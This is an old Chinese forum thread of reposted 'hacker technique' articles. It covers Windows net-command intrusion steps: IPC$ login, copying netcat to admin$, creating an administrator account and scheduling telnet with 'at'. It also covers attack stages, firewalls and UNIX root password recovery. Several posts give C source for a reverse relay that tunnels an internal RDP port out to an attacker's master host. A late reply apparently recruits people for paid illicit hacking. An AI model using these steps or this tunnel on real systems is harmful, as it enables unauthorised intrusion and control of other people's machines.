恩一家吧 关注:15贴子:758
  • 11回复贴,共1

黑客技术大揭密(文件在wdf123信箱)

只看楼主收藏回复

0


1楼2006-03-22 20:03回复

      在这里,我们重点掌握几个入侵常用的子命令。    

      net view    

      使用此命令查看远程主机的所以共享资源。命令格式为net view \\IP。   

      net use 

      把远程主机的某个共享资源影射为本地盘符,图形界面方便使用,呵呵。命令格式为net use x: \\IP\sharename。上面一个表示把192.168.0.5IP的共享名为magic的目录影射为本地的Z盘。下面表示和192.168.0.7建立IPC$连接(net use \\IP\IPC$ "password" /user:"name"),    

      建立了IPC$连接后,呵呵,就可以上传文件了:copy nc.exe \\192.168.0.7\admin$,表示把本地目录下的nc.exe传到远程主机,结合后面要介绍到的其他DOS命令就可以实现入侵了。    

      net start 

      使用它来启动远程主机上的服务。当你和远程主机建立连接后,如果发现它的什么服务没有启动,而你又想利用此服务怎么办?就使用这个命令来启动吧。用法:net start servername,如图9,成功启动了telnet服务。    

      net stop 

      入侵后发现远程主机的某个服务碍手碍脚,怎么办?利用这个命令停掉就ok了,用法和net start同。    

      net user 

      查看和帐户有关的情况,包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。这对我们入侵是很有利的,最重要的,它为我们克隆帐户提供了前提。键入不带参数的net user,可以查看所有用户,包括已经禁用的。下面分别讲解。 

      1,net user abcd 1234 /add,新建一个用户名为abcd,密码为1234的帐户,默认为user组成员。 

      2,net user abcd /del,将用户名为abcd的用户删除。 

      3,net user abcd /active:no,将用户名为abcd的用户禁用。 

      4,net user abcd /active:yes,激活用户名为abcd的用户。 

      5,net user abcd,查看用户名为abcd的用户的情况   

      net localgroup 

      查看所有和用户组有关的信息和进行相关操作。键入不带参数的net localgroup即列出当前所有的用户组。在入侵过程中,我们一般利用它来把某个帐户提升为administrator组帐户,这样我们利用这个帐户就可以控制整个远程主机了。用法:net localgroup groupname username /add。    

      现在我们把刚才新建的用户abcd加到administrator组里去了,这时候abcd用户已经是超级管理员了,呵呵,你可以再使用net user abcd来查看他的状态,和图10进行比较就可以看出来。但这样太明显了,网管一看用户情况就能漏出破绽,所以这种方法只能对付菜鸟网管,但我们还得知道。现在的手段都是利用其他工具和手段克隆一个让网管看不出来的超级管理员,这是后话。有兴趣的朋友可以参照《黑客防线》第30期上的《由浅入深解析隆帐户》一文。    

      net time 

      这个命令可以查看远程主机当前的时间。如果你的目标只是进入到远程主机里面,那么也许就用不到这个命令了。但简单的入侵成功了,难道只是看看吗?我们需要进一步渗透。这就连远程主机当前的时间都需要知道,因为利用时间和其他手段(后面会讲到)可以实现某个命令和程序的定时启动,为我们进一步入侵打好基础。用法:net time \\IP。    

      六,at    

      这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序(知道net time的重要了吧?)。当我们知道了远程主机的当前时间,就可以利用此命令让其在以后的某个时间(比如2分钟后)执行某个程序和命令。用法:at time command \\computer。    

      表示在6点55分时,让名称为a-01的计算机开启telnet服务(这里net start telnet即为开启telnet服务的命令)。    
    七,ftp    

      大家对这个命令应该比较熟悉了吧?网络上开放的ftp的主机很多,其中很大一部分是匿名的,也就是说任何人都可以登陆上去。现在如果你扫到了一台开放ftp服务的主机(一般都是开了21端口的机器),如果你还不会使用ftp的命令怎么办?下面就给出基本的ftp命令使用方法。 
    


    4楼2006-03-22 20:05
    回复

        首先在命令行键入ftp回车,出现ftp的提示符,这时候可以键入“help”来查看帮助(任何DOS命令都可以使用此方法查看其帮助)。    

        大家可能看到了,这么多命令该怎么用?其实也用不到那么多,掌握几个基本的就够了。    

        首先是登陆过程,这就要用到open了,直接在ftp的提示符下输入“open 主机IP ftp端口”回车即可,一般端口默认都是21,可以不写。接着就是输入合法的用户名和密码进行登陆了,这里以匿名ftp为例介绍。    

        用户名和密码都是ftp,密码是不显示的。当提示**** logged in时,就说明登陆成功。这里因为是匿名登陆,所以用户显示为Anonymous。    

        接下来就要介绍具体命令的使用方法了。    

        dir 跟DOS命令一样,用于查看服务器的文件,直接敲上dir回车,就可以看到此ftp服务器上的文件。 

        cd 进入某个文件夹。 

        get 下载文件到本地机器。 

        put 上传文件到远程服务器。这就要看远程ftp服务器是否给了你可写的权限了,如果可以,呵呵,该怎么 利用就不多说了,大家就自由发挥去吧。 

        delete 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。 

        bye 退出当前连接。 

        quit 同上。 
         

        八,telnet 

        功能强大的远程登陆命令,几乎所有的入侵者都喜欢用它,屡试不爽。为什么?它操作简单,如同使用自己的机器一样,只要你熟悉DOS命令,在成功以administrator身份连接了远程机器后,就可以用它来干你想干的一切了。下面介绍一下使用方法,首先键入telnet回车,再键入help查看其帮助信息。    

        然后在提示符下键入open IP回车,这时就出现了登陆窗口,让你输入合法的用户名和密码,这里输入任何密码都是不显示的。    

        当输入用户名和密码都正确后就成功建立了telnet连接,这时候你就在远程主机上具有了和此用户一样的权限,利用DOS命令就可以实现你想干的事情了。这里我使用的超级管理员权限登陆的。   

        到这里为止,网络DOS命令的介绍就告一段落了,这里介绍的目的只是给菜鸟网管一个印象,让其知道熟悉和掌握网络DOS命令的重要性。其实和网络有关的DOS命令还远不止这些,这里只是抛砖引玉,希望能对广大菜鸟网管有所帮助。学好DOS对当好网管有很大的帮助,特别的熟练掌握了一些网络的DOS命令。 

        另外大家应该清楚,任何人要想进入系统,必须得有一个合法的用户名和密码(输入法漏洞差不多绝迹了吧),哪怕你拿到帐户的只有一个很小的权限,你也可以利用它来达到最后的目的。所以坚决消灭空口令,给自己的帐户加上一个强壮的密码,是最好的防御弱口令入侵的方法。 

        最后,由衷的说一句,培养良好的安全意识才是最重要的。


      5楼2006-03-22 20:05
      回复
        黑客攻击企业信息系统的手段 

        2.1 TCP/IP协议存在安全漏洞 

         目前使用最广泛的网络协议是TCP/IP协议,而TCP/IP协议恰恰存在安全漏洞。如IP层协议就有许多安全缺陷。IP地址可以软件设置,这就造成了地址假冒和地址欺骗两类安全隐患;IP协议支持源路由方式,即源点可以指定信息包传送到目的节点的中间路由,这就提供了源路由攻击的条件。再如应用层协议Telnet、FTP、SMTP等协议缺乏认证和保密措施,这就为否认、拒绝等欺瞒行为开了方便之门。 对运行TCP/IP协议的网络系统,存在着如下五种类型的威胁和攻击:欺骗攻击、否认服务、拒绝服务、数据截取和数据纂改。 

        2.2 黑客攻击网络信息系统的手段 

         黑客攻击的目标不相同,有的黑客注意焦点是美国国防部五角大楼,有的关心是安全局、银行或者重要企业的信息中心,但他们采用的攻击方式和手段却有一定的共同性。一般黑客的攻击大体有如下三个步骤: 
        信息收集→对系统的安全弱点探测与分析→实施攻击。 

        2.2.1 信息收集 

         信息收集的目的是为了进入所要攻击的目标网络的数据库。黑客会利用下列的公开协议或工具,收集驻留在网络系统中的各个主机系统的相关信息。 

        ·SNMP协议 用来查阅网络系统路由器的路由表,从而了解目标主机所在网络的拓扑结构及其内部细节。 

        ·TraceRoute程序 能够用该程序获得到达目标主机所要经过的网络数和路由器数。 

        ·Whois协议 该协议的服务信息能提供所有有关的DNS域和相关的管理参数。 

        ·DNS服务器 该服务器提供了系统中可以访问的主机的IP地址表和它们所对应的主机名。 

        ·Finger协议 可以用Finger来获取一个指定主 机上的所有用户的详细信息(如用户注册名、电话号码、最后 
        注册时间以及他们有没有读邮件等等)。 

        ·Ping实用程序 可以用来确定一个指定的主机的位置。 

        ·自动Wardialing软件 可以向目标站点一次连续拨出大批电话号码,直到遇到某一正确的号码使其MODEM响应。 

        2.2.2 系统安全弱点的探测 

         在收集到攻击目标的一批网络信息之后,黑客会探测网络上的每台主机,以寻求该系统的安全漏洞或安全弱点,黑客可能使用下列方式自动扫描驻留网络上的主机。 

        ·自编程序 对某些产品或者系统,已经发现了一些安全漏洞,该产品或系统的厂商或组织会提供一些“补丁”程序给予弥补。但是用户并不一定及时使用这些“补丁”程序。黑客发现这些“补丁”程序的接口后会自己编写程序,通过该接口进入目标系统,这时该目标系统对于黑客来讲就变得一览无余了。 

        ·利用公开的工具 象Internet的电子安全扫描程序IIS(InternetSecurity Scanner)、审计网络用的安全分析工具SATAN(Security Analysis Toolfor Auditing Network)等这样的工具,可以对整个网络或子网进行扫描,寻找安全漏洞。这些工具有两面性,就看是什么人在使用它们。系统管理员可以使用它们,以帮助发现其管理的网络系统内部隐藏的安全漏洞,从而确定系统中那些主机需要用“补丁”程序去堵塞漏洞。而黑客也可以利用这些工具,收集目标系统的信息,获取攻击目标系统的非法访问权。 

        2.2.3 网络攻击 

         黑客使用上述方法,收集或探测到一些“有用”信息之后,就可能会对目标系统实施攻击。黑客一旦获得了对攻击的目标系统的访问权后,又可能有下述多种选择: 

        ·该黑客可能试图毁掉攻击入侵的痕迹,并在受到损害的系统上建立另外的新的安全漏洞或后门,以便在先前的攻击点被发现之后,继续访问这个系统。 

        ·该黑客可能在目标系统中安装探测器软件,包括特洛伊木马程序,用来窥探所在系统的活动,收集黑客感兴趣的一切信息,如Telnet和FTP的帐号名和口令等等。 

        ·该黑客可能进一步发现受损系统在网络中的信任等级,这样黑客就可以通过该系统信任级展开对整个系统的攻击。 

        ·如果该黑客在这台受损系统上获得了特许访问权,那么它就可以读取邮件,搜索和盗窃私人文件,毁坏重要数据,破坏整个系统的信息,造成不堪设想的后果。 
        


        6楼2006-03-22 20:06
        回复

          防火墙的基本思想 

           如果网络在没有防火墙的环境中,网络安全性完全依赖主系统的安全性。在一定意义上,所有主系统必须通力协作来实现均匀一致的高级安全性。子网越大,把所有主系统保持在相同的安全性水平上的可管理能力就越小,随着安全性的失策和失误越来越普遍,入侵就时有发生。 防火墙有助于提高主系统总体安全性。 防火墙的基本思想——不是对每台主机系统进行保护,而是让所有对系统的访问通过某一点,并且保护这一点,并尽可能地对外界屏蔽保护网络的信息和结构。它是设置在可信任的内部网络和不可信任的外界之间的一道屏障,它可以实施比较广泛的安全政策来控制信息流,防止不可预料的潜在的入侵破坏。 防火墙系统可以是路由器,也可以是个人机、主系统或者是一批主系统,专门用于把网点或子网同那些可能被子网外的主系统滥用的协议和服务隔绝。 防火墙可以从通信协议的各个层次以及应用中获取、存储并管理相关的信息,以便实施系统的访问安全决策控制。 防火墙的技术已经经历了三个阶段,即包过滤技术、代理技术和状态监视技术。 

          包过滤技术 

           包过滤防火墙的安全性是基于对包的IP地址的校验。在Internet上,所有信息都是以包的形式传输的,信息包中包含发送方的IP地址和接收方的IP地址。包过滤防火墙将所有通过的信息包中发送方IP地址、接收方IP地址、TCP端口、TCP链路状态等信息读出,并按照预先设定的过滤原则过滤信息包。那些不符合规定的IP地址的信息包会被防火墙过滤掉,以保证网络系统的安全。这是一种基于网络层的安全技术,对于应用层的黑客行为是无能为力的。 

          代理技术 

           代理服务器接收客户请求后会检查验证其合法性,如其合法,代理服务器象一台客户机一样取回所需的信息再转发给客户。它将内部系统与外界隔离开来,从外面只能看到代理服务器而看不到任何内部资源。代理服务器只允许有代理的服务通过,而其他所有服务都完全被封锁住。这一点对系统安全是很重要的,只有那些被认为“可信赖的”服务才允许通过防火墙。另外代理服务还可以过滤协议,如可以过滤FTP连接,拒绝使用FTP put(放置)命令,以保证用户不能将文件写到匿名服务器。 代理服务具有信息隐蔽、保证有效的认证和登录、简化了过滤规则等优点。 网络地址转换服务(NATNetwork Address Translation)可以屏蔽内部网络的IP地址,使网络结构对外部来讲是不可见的。 

          状态监视技术 

           这是第三代网络安全技术。状态监视服务的监视模块在不影响网络安全正常工作的前提下,采用抽取相关数据的方法对网络通信的各个层次实行监测,并作安全决策的依据。监视模块支持多种网络协议和应用协议,可以方便地实现应用和服务的扩充。状态监视服务可以监视RPC(远程过程调用)和UDP(用户数据报)端口信息,而包过滤和代理服务则都无法做到。 

          防火墙的类型 

          4.1 按实现的网络层次分 

           Internet采用TCP/IP协议,设置在不同网络层次上的电子屏障构成了不同类型的防火墙: 

           包过滤型防火墙(Packet Firewall)、电路网关(Circuit Gateway)和应用网关(Application Gateway)。 

           安全策略是防火墙的灵魂和基础。在建立防火墙之前要在安全现状、风险评估和商业需求的基础上提出一个完备的总体安全策略,这是配制防火墙的关键。 安全策略可以按如下两个逻辑来制订: 

          ·准许访问除明确拒绝以外的全部访问——所有未被禁止的都允许访问。 

          ·拒绝访问除明确准许的全部访问——所有未被允许的都禁止访问。 

          可以看出后一逻辑限制性大,前一逻辑比较宽松。 

          4.1.1 包过滤防火墙 

          (1)包过滤防火墙实施步骤 

           包过滤防火墙是基于路由器来实现的。它利用数据包的头信息(源IP地址、封装协议、端口号等)判定与过滤规则相匹配与否来决定舍取。建立这类防火墙需按如下步骤去做。 

          ·建立安全策略——写出所允许的和禁止的任务; 
          


          7楼2006-03-22 20:06
          回复
            引言 
            ----对于广大的SCOUNIX操作系统管理员来说,最不可原谅的过失之一就是忘记了 管理员口令(即超级用户口令)。这个过失会导致极其严重的后果,对此凡是具备UNIX 操作系统常识的人都应该知道。然而令人遗憾的是,时至今日铸错者依然大有人在。看 来,对他们固然要责备,但既然问题客观存在,我们就总还须面对现实,想办法去解决才是。 
            ----长期以来,许多人就超级用户口令被忘记的问题发表了各种看法。一部分人认 为,一旦忘记了超级用户口令,只能重装操作系统,此外别无它法。另一部分人则坚决 反对这种"重装论",他们提出了一些经过成功实践的解决方案,使得"重装论"者败下阵来。现在我们可以肯定地说,忘记超级用户口令是有办法解决的。 
            ----但同时我们也不得不承认,现行的解决方案有很大的局限性,这些局限性决定了现有方案无论怎样变化和发展也不可能成为一种有着强大生命力的最彻底的解决方案。 
            传统解决方案的局限性 
            ----上面已经谈到,目前有多种针对超级用户口令被忘记问题的解决方案。为了叙述上的方便,本文将这些方案统称为传统解决方案。传统方案乍看起来似乎各不相同,但必须有一套(两张)EmergencyBootFloppy(紧急启动软盘)。这套软盘均为文件系统 
            格式,必须在SCOUNIX上制作,并且在不同类型机器上制作的紧急启动软盘相互不能通用。用紧急启动软盘启动后,将硬盘根文件系统mount到某个目录下(一般为/mnt目录),然后进入该目录(即进入硬盘根文件系统的根目录),修改相关目录下与超级用户口令有关的信息(各种方案的不同之处主要体现于此)。最后回到软盘根目录,拆卸/dev/hd0root,重启机器。 
            ----这些共同点实际上反映了传统方案的局限性: 
            ----一、操作平台局限性:要求自始至终必须在SCOUNIX操作系统平台上实施。 
            ----二、操作工具局限性:对紧急启动软盘的依赖性太大。万一软盘发生损毁,必须找一台类型相同的机器再制作一套,这就是前面所说的"专盘专用"的限制。 
            ----三、操作对象局限性:必须依靠硬盘根文件系统的支持。即操作者与修改对象(指与超级用户口令有关的信息)被文件系统隔开,操作者不能直接修改对象,只能调用文件系统提供的服务修改。这种方式本是信息科学中倡导的层次化思想的一种体现,在 
            正常情况下应予称道;但任何事物都是有两面性的,在非常情况下--诸如解决忘记超级用户口令这一类问题时--该方式反而有可能带来麻烦。 
            ----三大局限性说明了传统解决方案可行性的脆弱和狭窄,也决定了它们作为凌驾于文件系统之上的高层方案所必然具有的弊端。于是,打破这些局限性,探索出一种全新的解决方案,就成为了摆在一切UNIX研究者面前的新课题。 
            ----所谓新课题,就是找到一种能够突破传统方案局限性的新方案。究竟从何处下手呢?让我们再来看一看三大局限性。 
            ----操作平台局限性似乎不好突破,因为其它操作系统识别不了UNIX的文件系统格式。 
            ----操作工具局限性好象就更难了,因为紧急启动软盘既要在UNIX上制作,又要在UNIX上使用,所以如果操作平台局限性突破不了,它就更突破不了。最后看看操作对象局限性。操作对象完全由文件系统管理,操作者必须通过文件系统访问它们。万一文件系统崩溃,那么即使它下面的文件完好无损,操作者也只能认为这些文件已全部丢失--因为文件系统无法访问(例如mount不上来)。其实这个时候还是有办法找到那些文件的,方法就是直接访问物理硬盘。道理很简单:就本质而言,文件系统只不过是一个构筑于物理硬盘之上的逻辑组织,平时我们是通过它来访问物理硬盘的;现在这个组织寿终正寝,不能再为我们服务了,于是我们只好"自己动手,丰衣足食"。直接访问物理硬盘不但可以使文件"失"而复得,而且还有另外一个重要意义--突破了操作对象局限性。 
            ----操作对象局限性一旦突破,我们就会惊奇地发现突破另外两大局限性简直可以说是顺理成章了。因为虽然其它操作系统识别不了UNIX的文件系统格式,但在任何操作系统上,我们都可以访问物理硬盘;而只要是带有访问物理硬盘功能的软件,都可以 
            


            16楼2006-03-22 20:11
            回复
              if(sListen==INVALID_SOCKET)
              {
              printf("\nsocket() failed:%d",GetLastError());
              __leave;

              Local.sin_addr.s_addr=htonl(INADDR_ANY);
              Local.sin_family=AF_INET;
              Local.sin_port=htons(ListenPort);

              Target.sin_family=AF_INET;
              Target.sin_addr.s_addr=inet_addr(TargetIP);
              Target.sin_port=htons(TargetPort);

              if(bind(sListen,(struct sockaddr 
              *)&Local,sizeof(Local))==SOCKET_ERROR)
              {
              printf("\nbind() failed:%d",GetLastError());
              __leave;
              }
              if(listen(sListen,1)==SOCKET_ERROR)
              {
              printf("\nlisten() failed:%d",GetLastError());
              __leave;
              }
              //scoket循环
              while(1)
              {
              printf("\n\n*************Waiting Client Connect 
              to**************\n\n");
              iAddrSize=sizeof(Client);
              //get socket sClient
              sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);
              if(sock[0]==INVALID_SOCKET)
              {
              printf("\naccept() failed:%d",GetLastError());
              break;
              }
              printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),
              ntohs(Client.sin_port));
              //create socket sTarget
              sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
              if(sock[1]==INVALID_SOCKET)
              {
              printf("\nsocket() failed:%d",GetLastError());
              __leave;
              }
              //connect to target port
              if(connect(sock[1],(struct sockaddr 
              *)&Target,sizeof(Target))==SOCKET_ERROR)
              {
              printf("\nconnect() failed:%d",GetLastError());
              __leave;
              }
              printf("\nconnect to target 3389 success!");
              //创建两个线程进行数据转发
              hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
              hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
              //等待两个线程结束
              WaitForSingleObject(hThreadC2T,INFINITE);
              WaitForSingleObject(hThreadT2C,INFINITE);
              CloseHandle(hThreadC2T);
              CloseHandle(hThreadT2C);
              closesocket(sock[1]);
              closesocket(sock[0]); 
              printf("\n\n*****************Connection 
              Close*******************\n\n");
              }//end of sock外循环
              }//end of try
              __finally
              {
              if(sListen!=INVALID_SOCKET) closesocket(sListen);
              if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
              if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
              if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
              if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
              WSACleanup();
              }
              return 0;
              }
              /*************************************************************************
              Module:TCPDataRedird.c
              Date:2001/4/16
              CopyRight© eyas
              HomePage:www.patching.net
              Thanks to shotgun
              说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget
              *************************************************************************/
              #define BuffSize 20*1024 //缓冲区大小20k
              //此函数负责从Client读取数据,然后转发给Target
              DWORD WINAPI TCPDataC2T(SOCKET* sock)

              int iRet,
              ret=-1,//select 返回值
              iLeft,
              idx,
              iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize
              char szSendToTargetBuff[BuffSize]={0},
              szRecvFromClientBuff[BuffSize]={0};
              fd_set fdread,fdwrite;
              printf("\n\n*****************Connection 
              Active*******************\n\n");
              while(1)

              FD_ZERO(&fdread);
              FD_ZERO(&fdwrite);
              FD_SET(sock[0],&fdread);
              FD_SET(sock[1],&fdwrite);
              if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
              {
              printf("\nselect() failed:%d",GetLastError());
              break;
              }
              //printf("\nselect() return value ret=%d",ret);
              


              20楼2006-03-22 20:12
              回复
                Local3389.sin_port=htons(TargetPort);
                Local1981.sin_addr.s_addr=htonl(INADDR_ANY);
                Local1981.sin_family=AF_INET;
                Local1981.sin_port=htons(LocalPort);
                //bind s3389 for attacker
                if(bind(s3389,(struct sockaddr 
                *)&Local3389,sizeof(Local3389))==SOCKET_ERROR)
                {
                printf("\nbind() failed:%d",GetLastError());
                __leave;
                }
                //listen for attacker to connect
                if(listen(s3389,1)==SOCKET_ERROR)
                {
                printf("\nlisten() failed:%d",GetLastError());
                __leave;
                }
                //bind s1981 for AgentSlave
                if(bind(s1981,(struct sockaddr 
                *)&Local1981,sizeof(Local1981))==SOCKET_ERROR)
                {
                printf("\nbind() failed:%d",GetLastError());
                __leave;
                }
                //listen for AgentSlave to connect
                if(listen(s1981,1)==SOCKET_ERROR)
                {
                printf("\nlisten() failed:%d",GetLastError());
                __leave;
                }
                //socket循环
                while(1)
                {
                //wait for AgentSlave to connect
                iAddrSize=sizeof(Slave);
                sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);
                if(sock[1]==INVALID_SOCKET)
                {
                printf("\naccept() failed:%d",GetLastError());
                break;
                }
                printf("\nAccept AgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr),
                ntohs(Slave.sin_port));
                //wait for Attacker to connect
                iAddrSize=sizeof(Attack);
                sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);
                if(sock[0]==INVALID_SOCKET)
                {
                printf("\naccept() failed:%d",GetLastError());
                break;
                }
                printf("\nAccept Attacker==〉%s:%d",inet_ntoa(Attack.sin_addr),
                ntohs(Attack.sin_port));
                //创建两个线程进行数据转发
                hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
                hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
                //等待两个线程结束
                WaitForSingleObject(hThreadC2T,INFINITE);
                CloseHandle(hThreadC2T);
                CloseHandle(hThreadT2C);
                closesocket(sock[0]);
                closesocket(sock[1]);
                }//end of socket while
                }//end of try
                __finally
                {
                //clean all
                if(s3389!=INVALID_SOCKET) closesocket(s3389);
                if(s1981!=INVALID_SOCKET) closesocket(s1981);
                if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
                if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
                if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
                if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
                WSACleanup();
                }
                return 0;
                }
                /***********************************************************************************
                Module:AgentSlave.c
                Date:2001/4/17
                Copyright(c)eyas
                HomePage:www.patching.net
                说明:这个程序负责连接最终目标,连接主控端,然后转发数据
                这里连接到AgenrMaster的socket相当与sClient==〉sock[0],
                连接到最终目标的socoket是sTarget==〉sock[1]
                ***********************************************************************************/
                #include 〈stdio.h〉
                #include 〈winsock2.h〉
                #include "TCPDataRedird.c"
                #pragma comment(lib,"ws2_32.lib")
                #define TargetIP "192.168.1.3"
                #define TargetPort (int)3389
                #define AgentMasterIP "202.1.1.1"
                #define AgentMasterPort (int)12345
                int main()
                {
                WSADATA wsd;
                SOCKET sock[2]={INVALID_SOCKET,INVALID_SOCKET};
                struct sockaddr_in Master,Target;
                HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
                


                23楼2006-03-22 20:12
                回复
                  hThreadT2C=NULL;//T2C=TargetToClient
                  DWORD dwThreadID;
                  __try
                  {
                  //load winsock library
                  if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
                  {
                  printf("\nWSAStartup() failed:%d",GetLastError());
                  __leave;
                  }
                  //循环
                  while(1)
                  {
                  //create client socket
                  sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
                  if(sock[0]==INVALID_SOCKET)
                  {
                  printf("\nsocket() failed:%d",GetLastError());
                  __leave;
                  }
                  //create target socket
                  sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
                  if(sock[1]==INVALID_SOCKET)
                  {
                  printf("\nsocket() failed:%d",GetLastError());
                  __leave;
                  }
                  //fill struct
                  Target.sin_family=AF_INET;
                  Target.sin_addr.s_addr=inet_addr(TargetIP);
                  Target.sin_port=htons(TargetPort);
                  Master.sin_family=AF_INET;
                  Master.sin_addr.s_addr=inet_addr(AgentMasterIP);
                  Master.sin_port=htons(AgentMasterPort);
                  //connect to AgentMaster
                  if(connect(sock[0],(struct sockaddr 
                  *)&Master,sizeof(Master))==SOCKET_ERROR)
                  {
                  //连接失败后,等待一会儿再连
                  printf("\nconnect() to master failed:%d",GetLastError());
                  closesocket(sock[0]);
                  closesocket(sock[1]);
                  Sleep(5000);
                  continue;
                  }
                  printf("\nconnect to %s %d success!",AgentMasterIP,AgentMasterPort);
                  //connect to target
                  if(connect(sock[1],(struct sockaddr 
                  *)&Target,sizeof(Target))==SOCKET_ERROR)
                  {
                  printf("\nconnect() to target failed:%d",GetLastError());
                  __leave;
                  }
                  printf("\nconnect to %s %d success!",TargetIP,TargetPort);
                  //创建两个线程进行数据转发
                  hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
                  hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
                  //等待两个线程结束
                  WaitForSingleObject(hThreadC2T,INFINITE);
                  CloseHandle(hThreadC2T);
                  CloseHandle(hThreadT2C);
                  closesocket(sock[0]);
                  closesocket(sock[1]);
                  }//end of while
                  }//end of try
                  __finally
                  {
                  if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
                  if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
                  if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
                  if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
                  WSACleanup();
                  }
                  return 0;
                  }


                  24楼2006-03-22 20:12
                  回复
                    AT命令是Windows XP中内置的命令,它也可以媲美Windows中的“计划任务”,而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序。

                      我们可以在“开始→运行”中输入AT命令,下面就来看看AT命令的一些实例分析。

                      1、定时关机

                      命令:at 21:00 ShutDown –S –T30

                      该命令运行后,到了21:00点,电脑会出现“系统关机”对话框,并默认30秒延时自动关机。

                      2、定时提醒

                      命令:at 12:00 Net Send 10.10.36

                      .122与朋友约会的时间到了,快点准备出发吧!

                      其中Net Send是Windows内部程序,可以发送消息到网络上的其他用户、计算机。10.10.36.122是本机电脑的IP地址。这个功能在Windows中也称作“信使服务”。

                      3、自动运行批处理文件

                      如果公司的数据佷重要,要求在指定的日期/时间进行备份,那么运行:

                      命令:at 1:00AM /Every:Saturday My_BackUp.bat

                      这样,在每个Saturday(周六)的早上1:00点,电脑定时启动My_BackUp.bat批处理文件。My_BackUp.bat是一个你自行编制的批处理文件,它包含能对系统进行数据完全备份的多条命令。

                      4、取消已经安排的计划

                      命令:at 5 /Delete

                      有时候,你已经安排好的计划可能临时变动,这样你可以及时地用上述命令删除该计划(5为指派给已计划命令的标识编号),当然,删除该计划后,可以重新安排。


                    26楼2006-03-22 20:14
                    回复
                      嘿 真有心思 写那么一大堆  
                      {仁者见仁}{智者见智}


                      27楼2010-10-10 04:26
                      回复
                        带技术来 将心比心,你有实力,我才能跟你说费用。想做的,私我,大家做完就退休享受余生了。百分百安全可靠


                        来自iPhone客户端28楼2022-06-03 19:09
                        回复